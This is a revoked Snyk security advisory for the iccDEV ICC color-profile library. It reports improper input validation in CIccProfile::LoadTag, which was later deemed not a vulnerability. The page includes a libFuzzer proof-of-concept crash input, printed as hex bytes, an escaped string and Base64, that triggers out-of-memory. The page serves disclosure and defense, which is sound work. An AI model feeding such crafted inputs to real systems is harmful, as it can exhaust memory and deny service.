Improper Input Validation The advisory has been revoked - it doesn't affect any version of package InternationalColorConsortium/iccDEV  (opens in a new tab)


Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.31% (24th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-UNMANAGED-INTERNATIONALCOLORCONSORTIUMICCDEV-14874171
  • published6 Jan 2026
  • disclosed6 Jan 2026
  • creditDavid Hoyt

Introduced: 6 Jan 2026

CVE-2026-21485  (opens in a new tab)
CVE-2026-21487  (opens in a new tab)
CWE-20  (opens in a new tab)

Amendment

This was deemed not a vulnerability.

Overview

Affected versions of this package are vulnerable to Improper Input Validation via the CIccProfile::LoadTag function in the IccProfLib/IccProfile.cpp file. An attacker can cause undefined behavior or exhaust system memory by providing specially crafted input to this function.

PoC

MS: 1 PersAutoDict- DE: "XYZ "-; base unit: d96151d54eb5c48b5163fbc5230fcdd09dd85aad
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x5f,0x5f,0x5f,0x5f,0x5f,0x5f,0x5f,0x5f,0x8d,0x5f,0x5f,0x5f,0x5f,0x5f,0x5f,0x5f,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xf7,0xff,0xff,0xff,0x61,0x63,0x73,0x70,0xff,0xfe,0x0,0x0,0x0,0x0,0xaf,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0xa7,0xff,0xff,0xff,0xae,0xdc,0x2,0x0,0x0,0xff,0xff,0xa7,0xff,0xff,0xff,0xae,0xdc,0x2,0xff,0x61,0x63,0x73,0x70,0xff,0xfe,0x0,0x0,0x0,0x0,0x0,0xff,0xff,0x5f,0x5f,0x5f,0x5f,0x5f,0x5f,0x5f,0x5f,0x5f,0x5f,0x5f,0x5f,0x5f,0x5f,0x5f,0x5f,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xf7,0xff,0xff,0xff,0x61,0x63,0x73,0x70,0xff,0xfe,0x0,0x0,0x0,0x0,0x0,0x1,0x0,0x0,0x0,0x4,0x0,0x0,0x0,0xa9,0xa9,0xa9,0xa9,0xa9,0xa9,0xa9,0xa9,0xa9,0xa9,0xa9,0xa9,0xa9,0xa9,0x2d,0xa9,0xa9,0xa9,0xa9,0xa9,0xa9,0xa9,0xa9,0xa9,0xa9,0xa9,0xa9,0xa9,0xa9,0xa9,0x58,0x59,0x5a,0x20,0x49,0x43,0x43,0x70,0xa9,0xa9,0xa9,0xa9,0xa9,0xa9,0xa9,0xa9,0xa9,0xa9,0x0,0x0,0x0,0xa5,0x0,0x0,0x0,0x0,0xdc,0xdc,0xff,0x2f,0xdc,0x45,0xff,0xff,0xff,0x1a,
\377\377\377\377\377\377\377________\215_______\377\377\377\377\377\377\377\377\377\367\377\377\377acsp\377\376\000\000\000\000\257\000\000\000\000\000\000\000\000\000\000\000\000\247\377\377\377\256\334\002\000\000\377\377\247\377\377\377\256\334\002\377acsp\377\376\000\000\000\000\000\377\377________________\377\377\377\377\377\377\377\377\377\367\377\377\377acsp\377\376\000\000\000\000\000\001\000\000\000\004\000\000\000\251\251\251\251\251\251\251\251\251\251\251\251\251\251-\251\251\251\251\251\251\251\251\251\251\251\251\251\251\251XYZ ICCp\251\251\251\251\251\251\251\251\251\251\000\000\000\245\000\000\000\000\334\334\377/\334E\377\377\377\032
artifact_prefix='/tmp/tmpk6dbz5y5/'; Test unit written to /tmp/tmpk6dbz5y5/oom-752adeaec051e9e27776e17c5efc9b556f6e9fae
Base64: /////////19fX19fX19fjV9fX19fX1/////////////3////YWNzcP/+AAAAAK8AAAAAAAAAAAAAAACn////rtwCAAD//6f///+u3AL/YWNzcP/+AAAAAAD//19fX19fX19fX19fX19fX1/////////////3////YWNzcP/+AAAAAAABAAAABAAAAKmpqampqampqampqampLampqampqampqampqampqVhZWiBJQ0NwqampqampqampqQAAAKUAAAAA3Nz/L9xF////Gg==
SUMMARY: libFuzzer: out-of-memory